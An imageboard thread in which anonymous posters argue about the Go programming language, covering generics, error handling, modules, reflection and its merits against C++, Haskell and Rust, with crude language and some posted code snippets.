>>22184 That would be sweet, anon.

any recommended projects a beginner can participate in that uses go?

>>22285 are you asking for open source projects to contribute to? there are lots of repos tagged with "first-time-contributor" "help-wanted" and similar tags, google around for "github tags to get started in open source" and then just filter by your preferred language

http://dtrace.org/blogs/wesolows/2014/12/29/golang-is-trash/

https://web.archive.org/web/20191205031849/https://grimoire.ca/dev/go

>>22304 >>22305 As the old saying goes, there's only two kinds of programming languages: ones that people hate, and dead ones. I think the *real* anger towards Go from certain quarters is because it punishes job-security obfuscation coding practices. There's a lot of lazy, egotistical divas in a lot of software companies (*especially* where C++ is used) who've gotten very comfy with being unproductive yet unfireable, because they're the only ones who know how some arcane yet vital legacy code works. Their gravy train is directly threatened by any language that enforces readability and maintainability.

>>22316 >I think the *real* anger towards Go from certain quarters is because it punishes job-security obfuscation coding practices. There's a lot of lazy, egotistical divas in a lot of software companies (*especially* where C++ is used) who've gotten very comfy with being unproductive yet unfireable, because they're the only ones who know how some arcane yet vital legacy code works. Most of criticism of Go I see comes from people of Java, Python crowd. C++ would be the 2nd group. ANSI C the third. At least in my observations. C crowd seems to have most technical arguments. Funny is that first two groups of critics can't make their mind if Go is OO or not. One guy can prise supposed "OO" of Golang, another may write hysterical litany about lack of OO. "No generics" is another meh argument also coming from them. > Their gravy train is directly threatened by any language that enforces readability and maintainability. C++ is a rococo disaster and with every version it only goes worse. I agree on that. Yet nothing per se enforces maintainability and readability in Go. You can write hard to follow and read code in that language too.

>>22325 >Funny is that first two groups of critics can't make their mind if Go is OO or not. I always get a kick out of people like that. I think of it as being just OO enough to be useful, but not OO enough to be a C++ style clusterfuck of footgun class insanity. >Yet nothing per se enforces maintainability and readability in Go. You can write hard to follow and read code in that language too. I'd actually disagree (mostly) with that. It's certainly possible to write confusing code in any language, but one really needs to work hard at it in Go. A prime example of confusion-reduction is how the gofmt tool enforces common styling, particularly in how it reformats source to follow the One True Brace Style. It's refreshing to look at someone else's code and not have to decipher what weird homegrown brace style they cooked up. More languages ought to have their own gofmt equivalent (LOOKING AT YOU, JAVASCRIPT).

>>22327 Go is not OO at all.

>>22328 Neither is C++.

>>22337 neither is SmallTalk

Quiet based discussion on Golang on ycombinator https://news.ycombinator.com/item?id=9711639

Hey Lain Gophers, what would be an idiomatic way of implementing 1) pagination and 2) some sort of repository pattern for a web application in golang? I'm currently working on a REST API but I've found myself to be too accustomed to generics and the C# way of doing things (EF and the Unit of Work pattern). I'd be grateful for any article or sample projects from which I can learn from.

>>23542 >pagination >some sort of repository pattern I have to admit that I'm unfamiliar with these terms in this context. Could you describe what you mean by them? I might be able to help.

>>23542 Generics for REST API? WTF?

>>23554 >Pagination What I mean with pagination is just getting a paginated result set. Suppose you have a database with imageboard threads. Instead of getting all threads you get only the threads for page 1. >Repository Pattern The video at https://www.youtube.com/watch?v=rtXpYpZdOzM has a good explanation. A repository basically provides an interface between your business logic and your actual data source. In my last project (a todo list REST API) I implemented it using the project at https://github.com/marcusolsson/goddd as an inspiration. However, if done this way you can't modify data in a single transaction using multiple repositories. That's why the Unit of Work pattern is used in the video above.

>>23593 >What I mean with pagination is just getting a paginated result set. Suppose you have a database with imageboard threads. Instead of getting all threads you get only the threads for page 1. This really depends on what database you're using, what module you're using to interface with that database, and what format you want the results to be converted to. But the general idiomatic way to do it with SQL and to get JSON output using only the standard library is: - Creating an empty slice of structs - SQL query with proper LIMIT and OFFSET - Appending the result of each returned row to the slice - Converting the struct slice to json with the standard library function json.Marshal() - Serving that json up with the standard http server Altogether it's maybe a few dozen lines of code, max. If you're really new to the language I could whip up an example with real code and detailed comments and post it. It's not difficult at all. (Oh, and if you're new to Go, the #1 tip for newcomers is to pretend arrays don't exist, and always use slices if at all uncertain about which one to use. It'll make your life 1000% easier.) After a bit of googling for what the repository pattern is, it looks to me like it's about adding consistently-named methods to types to abstract away the database stuff. It's really easy to do that in Go. You can't add methods to types from other packages, but you can define a new type as an alias to another type and put a method on that. type productType int func (p productType) newPrice(price float64) { //db stuff to update price for product using p and price variables return } And you can then set the price to $34.45 like so: var prod productType prod.newPrice(34.45) You can turn any function into a method like this, just stick (variablename customtype) in between the func keyword and the function name. This is nothing new to those familiar with OO of course. But I've often found that people are surprised that Go has this capability.

>>22316 Saying Go is simple is like saying C is simple (of course Go is still orders of magnitude simpler than C, as with anything). All this bullshit about automatically dereferencing pointers is obnoxious and serves literally no purpose but to obfuscate the language. 0IQ retards think its simpler because it lets you omit stars here and there. But yet the ML and Haskell (e.g, straightforward) ways of doing things are still much easier to remember and literally more terse. E.g in such languages you'd use an explicit dereference, and this makes API much simpler. On the other hand Go's reflection has terrible API: type A int type B int func (*A) F() {} type LOL struct {A; B} var a *LOL reflect.ValueOf(x).SetInt(123) // fail because you have to dereference the pointer using Elem() reflect.ValueOf(x).Elem().SetInt(123) // now we are setting a value through a pointer that exists contextually... how do they think this is a good design? reflect.ValueOf(x).Elem().Fields(0).Method(0).Call(Nil) // yet crash at runtime because method 0 is not on the value but only the pointer. why does the above bullshit work but not this? //yet you would think the above might work after seeing both the previous example as well as bullshit like this: var a LOL = LOL{} a.F() // it passes a pointer to of your local variable. LOL! reflect.ValueOf(&x.A).Elem().Method(0).Call(Nil) // finally, it works Remember that PL theorists spend effort on making PLs literally, simple. The process of distilling a language to its bare nub of existence is not something a layman is capable nor does he even understand why it is necessary. This is why you need qualifications to create a programming language without it turning out as a disaster. Any layman like Rob Pike who thinks he is making things simple is likely not. Do your fukking research before you make a programming language.

>>23629 >of course Go is still orders of magnitude simpler than C, as with anything >GO >simpler than C in what resort?

>>23629 >Haskell (e.g, straightforward) I like Haskell, but straightforward it is not. It's like the functional equivalent of Java. Much like OOP, FP in its purest form isn't really that practical. I love writing code where it's just passing around the results of functions to other functions, but the unfortunate reality is that most problems are full of state. Haskell's response is basically to pretend that state doesn't exist, while more practical languages like OCaml, Scheme, and F# let you mix stateful and stateless code while encouraging you to do the latter if possible Saging for off-topic

>>23630 In the marketing respect. In the new car smell respect. In the unified single controlling entity respect. These are all valid, fight me.

>>23636 Haskell handles state fine. Actually you're right, Haskell is complicated due to lazy evaluation and half finished features. Haskell 98 strict or whatever language implements that it what I really had in mind. So pretty much what ML is. >mods deleted my pic of guy who doesnt understand language design who invented JS oh no, it's retarded.

>>23638 Than you meant Idris. It feels like one cohesive whole compared to Haskell.

go modules are such a finicky pile of crap i hope ken and rob burn in hell this soykaf is even worse than java jars and classpaths i still dont even know if you're meant to import a new major version like require fuarrrkyou.com/mygaymodule v2.0.0 or require fuarrrkyou.com/mygaymodule/v2 v2.0.0 i fuarrrking swear the former worked before and now it will only work the latter way. of course their is no real documentation for this aside from some tedious spec or a garbage tutorial and how the fukc does `go get fuarrrkoff.cunt/dildo@v2.0.1` make the project use a different version of a dependency, if it's not marked anywhere in go.mod, go.sum, ~/go or ~/.cache

i just spent half hour trying to figure out why module2 cannot download v5.1.0 of module1 and move from v5.0.0. it literally just fixed itself half an hour later. i did not change one fuarrrking thing (aside from making two entirely separate modules to try and repro the problem) i tried `GOMODULE=direct go get` which did nothing as expected, in case it's breaking somehow due to the sum.golang.org not having my project (does that bullshyt automatically pull your code somehow as you use your tools, nobody knows aside from devout gophers because the bullshyt blog post does not feel the need to enlighten us to such an unimportant detail of how moduels get on there in the first place: https://blog.golang.org/module-mirror-launch) also note how i am putting my modules (such as module1 and module2) on remote servers like sh1thub because i have no idea how the fukc you would even use this trash offline literally how does anyone use this pile of unix braindamaged garbage? how is it even possible for a tool to be this flaky.

>>23687 >and how the fukc does `go get fuarrrkoff.cunt/dildo@v2.0.1` make the project use a different version of a dependency, if it's not marked anywhere in go.mod, go.sum, ~/go or ~/.cache it stores the info by flashing into a data area in your optical disk firmware

i just learned Go modules cannot specify aribtrary version ranges. only minimum version is allowed. this is a good thing. im in shock. wiggers did something right for once. https://go.googlesource.com/proposal/+/master/design/24301-versioned-go.md#build-control nonetheless: ==DAY OF THE BOBCAT SOON==

why can't gophers stop saying stupid things?(Stop posting in bad faith.)

>>23714 >Mapping between XML elements and data structures is inherently flawed: an XML element is an order-dependent collection of anonymous values, while a data structure is an order-independent collection of named values. See package json for a textual representation more suitable to data structures. >https://golang.org/pkg/encoding/xml/ It's amazing this is real. Is an array not a data structure and an order-dependent collection of anonymous values? Is an XML element a data structure because attributes are an order-independent collection of named values?

>>23714 I mean there are languages for different strokes. Some people love C++, some love Java, and others are into functional programming. Go does what it aims to do, and trying to give it a different identity (hur dur no generics) is kinda rude. Go deserves to exist and do its own thing without people constantly criticizing it and forcing it to do things that it doesn't set out to do. Also pasting ungofmt'd code shows that you're just trolling.

>>23724 I guess everything is just taste. :-)

>>23731 Objectively bad languages do exist: COBOL, unstructured BASIC, and PHP all suck ass and shouldn't be used by anybody. But in general, he's right. Programming languages are tools. They have no inherent value outside of their ability to solve a problem. Saying language x is better or worse than language y is like saying a blowtorch is better than a screwdriver. You're speaking nonsense.

>>23731 Can I ask what is the point of the screenshot?

>>23736 It's pointing out that the given argument for Go applies to all languages. People like to trot out "taste" or "suitability" as a vague justification for the usefulness of bad programming languages. It's a great a justification because it's not falsifiable. When people try to justify good languages, they're able to point out concrete facts that make the language attractive: Haskell has a state of the art type checker and it's regularly used for creating highly reliable programs in finance; Common Lisp gives you all the benefits of embedded scripting languages and language modification with none of the overhead or language standard compliance issues; Java has multiple high quality implementations, a detailed standard, and great interoperability with other JVM languages; Lua is extremely easy to embed in C programs, comes with extensive free documentation, and is about as expressive as other dynamically typed languages like JavaScript; C is supported on almost every platform and has excellent support for being called from other languages. In contrast, Go programmers have to resort to "different strokes for different folks". People make fun of Go for the same reason they make fun of JavaScript or PHP: it's an easy target.

>>23724 >Also pasting ungofmt'd code shows that you're just trolling. AHHHHHHHHHHHHHHH MY SIDES

(USER WAS BANNED FOR THIS POST)

>>23755 greetings fellow Rust programmer

How do you deal with errors in Go? I keep running into problems where I use a library and it does not tell me what errors it can return. In production some error I've never heard about is thrown and nobody catches it and the whole program crashes. I even look at the code of the libs I use sometimes, and sometimes that helps, but most of the time they call F1 -> F2 -> F3 -> F4 and F4 returns some obscure error and is in a sepearate library, and it gets propogated back to and returned by F1. In other cases, someone catches a generic error like EOF that can come from 3 completely different code paths and handles it as if it came from code path 1. Wat do?

Also, why can I not find any discussion of error wrapping and .Is on the internet (aside from the official Go 1.13 blog)?

>>24037 >>24038 I looked into this, and all I can find is this cartoon. I could not understand what it is trying to say, but it did point out to me that errors.As is quite broken.

>>24293 part 2 of 3

huff huff >>24294 part 3 of 3 desu

>>24293 >>24294 >>24296 Lengthy.

>>24293 It says that go devs went full retard on subject of errors trying to implement mechanism of handling chains of errors in their static typed language in a way that reassembles handling dynamic typed variables which is a brave attempt on working around the problem they created themselves artificially. Meanwhile there are decades old static typed languages that have that stuff built in and you don't have to use a tone of control flow to handle stuff. The example presented is 'case' keyword in SML. NOTE: I'm just trying to explain, not like I agree with any side of discussion

>>24300 for further reference see also discussions: https://news.ycombinator.com/item?id=22184919 https://news.ycombinator.com/item?id=24890463

>>24293 >>24294 >>24296 Who made this and for what purpose?

>>24302 don't know who, purpose is obvious tho

>>24293 >>24294 >>24296 This is amazing.

>ctrl-f generic [code][/code] >106 results Generics is officially making it to Go, see https://github.com/golang/go/issues/43651#issuecomment-776944155. Can we stop with the muh no generics posting now? >>22183 Just read gopl. It's the best book on go. Will take you minimum a couple months to finish it if you do the exercises.

This language doesn't seem to have a purpose. It lacks the flexibility of something like C++ and doesn't offer any significant features over it. Is it really just a high level C? In that case, why would you ever learn this and not something different (and modern)?

>>24488 >in that case, why would you ever learn this and not something different (and modern)? well paid job, not too many rivals for same position

>>24483 >Can we stop with the muh no generics posting now? Only when it's implemented.

>Go 1.16 is released: https://blog.golang.org/go1.16 >Go 1.16 Release Notes: https://golang.org/doc/go1.16 go:embed is very practical. I just set up my web app to embed all static content in the executable. Now deploying it just consist of building the app, copying the executable and running it. Yes, using comments for this stuff instead of real language constructs is not beautiful, but it works.

>>24520 tfw Windows had it right all along

>>24488 It was designed by former Bell Labs C wizards. If by modern you mean shoehorning OOP into everything, or supporting useless paradigms such as functional programming, Go is similar to C in that regard.

>>24483 >Generics is officially making it to Go, see https://github.com/golang/go/issues/43651#issuecomment-776944155. Can we stop with the muh no generics posting now? We can now start posting how retarded choice it is to introduce generics into GO in given form. >>24526 >It was designed by former Bell Labs C wizards. And they went overenthusiastic according to many other C wizards in at least some places with GO design. IMHO they ran into area where they are just adding more and more sugar without any guarantee that they can oversee any future inconsistencies and edge cases - simply because more nontrivial stuff you throw into mix - harder it becomes. If you want to see other fuarrrked up according to many ideas see their discussions on error types. Or their pseudoassembly that literally no one really needs and that is doomed to fail to cover all possible assembly languages. At this point they have all chances possible to become a C++ of procedural programming or a meme on it's own.

>>24528 >If you want to see other fuarrrked up according to many ideas see their discussions on error types. I have seen those discussions. The error type in go is perfect the way it was, and adding additional complexity (like try / catch in go) is an anti-paradigm. Same thing with the people propositioning async/await in go. Like why the hell would you put in async/await into a language whose main selling point is go routines? Just use Java if you want an awful programming language. > At this point they have all chances possible to become a C++ of procedural programming or a meme on it's own. With adding Generics they're trying to do that, which is sad. C++ has its own myriad of issues and it looks like go is going to repeat those issues. Expect things like scope resolution and spaceship operators in go 5 years from now.

>>24488 Google is deprecating C. So now we'll be left with Go and Rust [1]. Everything else is too high level. Go and Rust do not have GC and therefore are the only practical languages. 1. https://security.googleblog.com/2021/02/mitigating-memory-safety-issues-in-open.html

>>24532 >Go and Rust do not have GC >GO >No GC

>>24528 picrelated >wants to write code whose reading requires minimal human brain power >doesn't write in Haskell

>>24532 Go has garbage collection. What are you talking about?